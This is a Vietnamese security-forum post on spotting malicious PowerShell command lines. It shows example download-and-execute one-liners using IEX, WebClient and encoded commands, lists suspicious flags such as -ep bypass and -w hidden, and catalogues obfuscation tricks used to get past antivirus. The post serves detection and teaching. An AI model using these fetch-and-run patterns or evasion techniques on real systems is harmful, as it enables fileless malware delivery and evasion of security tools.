Những dấu hiệu nhận biết về các dòng lệnh PowerShell độc hại

vpn

Well-Known Member
10/09/2019
20
52 bài viết
Những dấu hiệu nhận biết về các dòng lệnh PowerShell độc hại
Các cuộc tấn công sử dụng PowerShell hiện là "vũ khí" thay thế phổ biến cho một số cuộc tấn công mạng do nó cung cấp nhiều kỹ thuật để có thể vượt qua bảo mật hiện có. Hơn hết, tính linh hoạt khi chạy trực tiếp trong bộ nhớ và tải payload từ xa đã mang lại rất nhiều lợi ích cho kẻ tấn công.

1_m3EmlYHA78mJVSl0DDRSsw.png

Chúng ta hãy tìm hiểu một chút về dòng lệnh độc hại Powershell.

Download (Tải xuống)

Mã:
powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://whitehat.vn/threads/phan-tich-virus-fileless-phan-1.14324/')

Lệnh Powershell được sử dụng để tải xuống “thứ gì đó” có thể được coi là một cuộc tấn công có khả năng gây hại cao. Lệnh trên chỉ ra rằng lệnh được chạy để tải xuống các chuỗi (payload) tại URL:



Một phần mềm vô hại sẽ rất hiếm khi hoặc không bao giờ làm như vậy để tải xuống tệp của nó bằng lệnh powershell.

Lower and upper case letters (Chữ thường và chữ hoa)

Mã:
Powershell -ExecUTIONPoLICy BypASs -wiNDoWSTYLe hidDeN(NEW-objecT.SYstEM.NET.wEbCLIeNt).DOWnLoADFiLE(<removed>);
Mẫu quyền hạn này sử dụng các chữ cái viết thường và viết hoa xen kẽ để thực hiện lệnh của chúng. Đó là một lệnh độc hại có khả năng cao khi nó đi kèm với mẫu này.

Using short flags (Sử dụng cờ)

Mã:
Powershell -nop -w hidden -e <encoded text>

Powershell -nop -w hidden -e <ps1 file>
Đôi khi, mẫu lệnh này được phần mềm vô hại sử dụng để thực hiện công việc của nó. Nếu lệnh bao gồm một văn bản được mã hóa dài, bạn có thể chắc chắn 100% rằng lệnh đó là độc hại. Phần mềm vô hại sẽ không bao giờ sử dụng văn bản được mã hóa để thực hiện công việc của nó.

Về phần extension .ps1, việc nhận biết vị trí của tệp ps1 và tên của nó có thể giúp chúng ta xác định đó là tệp độc hại hay không. Nếu bạn có thể lấy mã băm .ps1, hãy thả nó vào Google/Virustotal/Sandbox để điều tra thêm.

Một số flag phổ biến:

Parametersshort parameters
-Command-c
-EncodedArguments-ea, -encodeda
-EncodedCommand-e, -ec, -enc
-ExecutionPolicy-ex, -ep
-File-f
-Help-h, -? or /h, /?
-InputFormat-i, -if
-NoExit-noe
-NoLogo-nol
-NoProfile-nop
-NonInteractive-noni
-OutputFormat-o, -of
-Sta-s
-WindowStyle-w

Để biết thêm thông tin về các tham số, hãy tham khảo tài liệu Microsoft Docs
2020-08-03-14-03-40.png

Sử dụng các lệnh được mã hóa

Mã:
Powershell -EncodedCommand SQBmACgAJABQAFMAVgB
Powershell -e SQBmACgAJABQAFMAVgB
Powershell -enc SQBmACgAJABQAFMAVgB
Tham số -encodedcommand là phiên bản đầy đủ của tham số -e. Cả hai đều thực hiện một công việc giống nhau trong đó chức năng của tham số này là thực thi lệnh được mã hóa.

Gọi biểu thức

Mã:
Powershell -Invoke-Expression (("New-Object Net.WebClient")).(’Downloadfile.ps1’)
Invoke-Expression hoặc IEX cmdlet đánh giá hoặc chạy một chuỗi được chỉ định dưới dạng một lệnh. Vì vậy, bất kỳ thứ gì sau Invoke-Expression sẽ được coi là thực thi lệnh.

Sử dụng ”[char]” thay vì một ký tự

Mã:
Powershell ... $cs = [char]71; $fn = $env:temp+$cs; ...
Mã độc thường sử dụng “[char]” để thay thế bằng ký tự nhằm trốn tránh hoặc qua mặt AV. Ngoài ra, loại mẫu lệnh này thường được sử dụng để làm chậm tiến độ điều tra của nhà phân tích mã độc.


Đọc dữ liệu Base64

Mã:
IEX $s=New-Object IO.MemoryStream([Convert]::FromBase64String(’<removed>’));

Mã hóa Base64 thường được sử dụng trong payload của mã độc.


Sử dụng mã hóa UTF8

Mã:
$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(<removed>’));

Sử dụng tên ngẫu nhiên cho một biến trong mỗi lần chạy

Mã:
powershell iex $env:vruuyg

Ví dụ về cách sử dụng:
2020-08-03-14-11-32.png


Nếu chúng ta nhìn vào envinronment của thuộc tính, chúng ta có thể thấy rằng biến pajsj có giá trị thực thi lệnh.

2020-08-03-14-12-38.png


Chúng ta cần xem xét các đối số dòng lệnh này, chẳng hạn như:

Mã:
ExecutionPolicy Bypass,
-Exec Bypass,
-ep bypass,
-EncodedCommand,
-enc
-NonInteractive,
-NonI,
-NoLogo,
-NoProfile,
-NoP,
-WindowStyle Hidden,
-w Hidden

Ví dụ về Obfuscated:

2020-08-03-13-52-18.png


3 lớp obfuscation:


2020-08-03-13-53-26.png


Snapshot đoạn mã của mã độc macro sử dụng “^” để làm obfuscation shell

2020-08-03-13-55-57.png


Một obfuscation phức tạp khác:

2020-08-03-14-14-31.png


Ghi chú về Obfuscation (sự xáo trộn)
  • URL chỉ là một chuỗi, vì vậy có thể được nối và viết theo những cách khác như “h” + “ttp”. Các kỹ thuật obfuscation chuỗi bổ sung được đề cập bên dưới.
  • System là tùy chọn trong tên loại PowerShell, vì vậy System.Net.WebClient có thể được viết là Net.WebClient
  • PowerShell có thể sử dụng dấu ngoặc kép đơn hoặc dấu ngoặc kép trong chuỗi. Khoảng trắng có thể được thêm vào hầu hết mọi nơi, vì vậy DownloadString(‘ có thể dễ dàng viết như DownloadString( “
  • Lớp WebClient có thể offer nhiều phương thức nội dung tải về ngoài DownloadString, chẳng hạn như DownloadFile, DownloadData, và OpenReadAsync
  • Tên phương thức chẳng hạn như DownloadString có thể được bao gồm trong dấu ngoặc kép và bao gồm các ký tự thoát để tạo cú pháp như
    Mã:
     System.Net.WebClient).”`D`o`wn`l`oa`d`Str`in`g”
Bởi vì nó có thể được coi là một chuỗi, các kỹ thuật obfuscated dựa trên chuỗi như nối và sắp xếp lại thứ tự cũng có thể được sử dụng trên tên phương thức.
  • Tương tự như tên phương thức, Net.WebClient đối số tới New-Object có thể được làm xáo trộn với các ký tự escape , kỹ thuật làm xáo trộn dựa trên chuỗi và nối giữa nhiều biến. Điều đó có thể tạo ra một kết quả như:
    Mã:
    $var1="`N`et.";
     $var2="`W`eb`C`l`ient";
     (New-Object $var1$var2)
  • Tên lệnh PowerShell thường có bí danh. Ví dụ, Invoke-Expression cũng có thể được gọi là iex.
  • Ngay cả khi các lệnh không có bí danh, Get-Command lệnh cho phép tác giả tập lệnh truy vấn danh sách lệnh PowerShell và gọi kết quả. Truy vấn này có thể bao gồm các kí hiệu, vì vậy cách gọi New-Object có thể trông như thế này: &(Get-Command *w-O*). Toán tử ( & ) trong ví dụ này có một thay thế, đó là toán tử dot ( . ). Các lệnh Get-Command lại có một bí danh và có thể được tự động gọi tương tự, như vậy là không an toàn để chìa khóa trên.
  • Ngoài Get-Command cơ chế truy vấn tên lệnh, PowerShell còn cung cấp một số phương thức kiểu API để truy vấn tên lệnh - chẳng hạn như $executionContext.InvokeCommand.GetCommand().
  • Các toán tử lệnh gọi (& và .) hỗ trợ các đối số chuỗi. Chúng có thể dễ dàng bị che khuất bằng cách sử dụng các kỹ thuật làm xáo trộn như nối chuỗi và sắp xếp lại chuỗi.
  • Phát hiện của Invoke-Expression phải đối mặt với những thách thức tương tự của sự xáo trộn lệnh New-Object và Get-Command phải chịu đựng. Nó cũng phổ biến trong các bối cảnh không độc hại, khiến việc xác định sai dựa trên chỉ báo này là một thách thức đáng kể.
  • Invoke-Expression không phải là lệnh ghép ngắn hoặc kỹ thuật duy nhất có thể được sử dụng để gọi mã được tạo động. Các lựa chọn thay thế khác là Invoke-Command, lệnh gọi Khối tập lệnh (chẳng hạn như & [Scriptblock]::Create("Write-Host Script Block Conversion")) và các API gọi tập lệnh động chẳng hạn như $ExecutionContext.InvokeCommand.InvokeScript("Write-Host EXPRESSION").
Sự xáo trộn chuỗi

Bất kỳ thứ gì cho phép một chuỗi làm đối số đều có thể được làm xáo trộn bằng cách sử dụng kỹ thuật làm xáo trộn chuỗi.
  • Nối chuỗi là một cách phổ biến để chia nhỏ các chuỗi có thể nhận dạng. Nếu chữ ký được viết cho thuật ngữ, “http” thì nó cũng có thể được viết dưới dạng “h” + “ttp”. Dạng nối phổ biến nhất là ‘+’ toán tử, nhưng –join cũng có thể sử dụng toán tử PowerShell. Ngoài các kỹ thuật PowerShell, các phương thức String.Join() và String.Concat() phương thức từ .NET có thể đạt được các mục tiêu tương tự.
  • –f Toán tử định dạng chuỗi của PowerShell, dựa trên String.Format phương thức C# , có thể tạo chuỗi trong thời gian chạy. Các định dạng định dạng sử dụng nhà điều hành mã thông báo như {0} {1} để xác định thứ tự của chuỗi thay thế, vì vậy Obfuscating invocation của New-Object thể trông như thế này với toán tử định dạng obfuscation áp dụng:
    Mã:
    & ("{1}{0}{2}" -f 'wOb','Ne','ject')
    .
  • Các chuỗi có thể được đảo ngược thông qua một số cơ chế, chẳng hạn như toán tử cắt mảng của PowerShell (-join "detacsufbO"[9..0]), Array.Reverse ( [imath]a = [char[]]"detacsufbO"; [Array]::Reverse([/imath]a); -join $a), đối sánh biểu thức chính quy đảo ngược ( -join [RegEx]::Matches("detacsufbO",'.','RightToLeft')) và các cơ chế khác.
  • Các chuỗi có thể được tách bằng một dấu phân cách tùy ý, và sau đó được nối lại: -join ("Obf~~usc~~ated" -split "~~")
  • Thông qua –replace operator hoặc String.Replace() method, các chuỗi có thể được thay thế để loại bỏ các dấu phân cách hoặc thay đổi ý nghĩa của một chuỗi: "System.SafeClass" -replace "Safe","Unsafe"
Tài liệu tham khảo:
  1. https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And Evasion-Using-Science-wp.pdf
  2. Research Paper “Detecting Malicious PowerShell Commands using Deep Neural Networks” by Danny Hendler, Shay Kels and Amir Rubin.
  3. https://www.trendmicro.com/vinfo/pl...ise-of-fileless-threats-that-abuse-powershell
  4. https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
  5. https://fareedfauzi.github.io/blog-post/Powershell-Attack-Note-Analysis/
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
lệnh powershell
Bên trên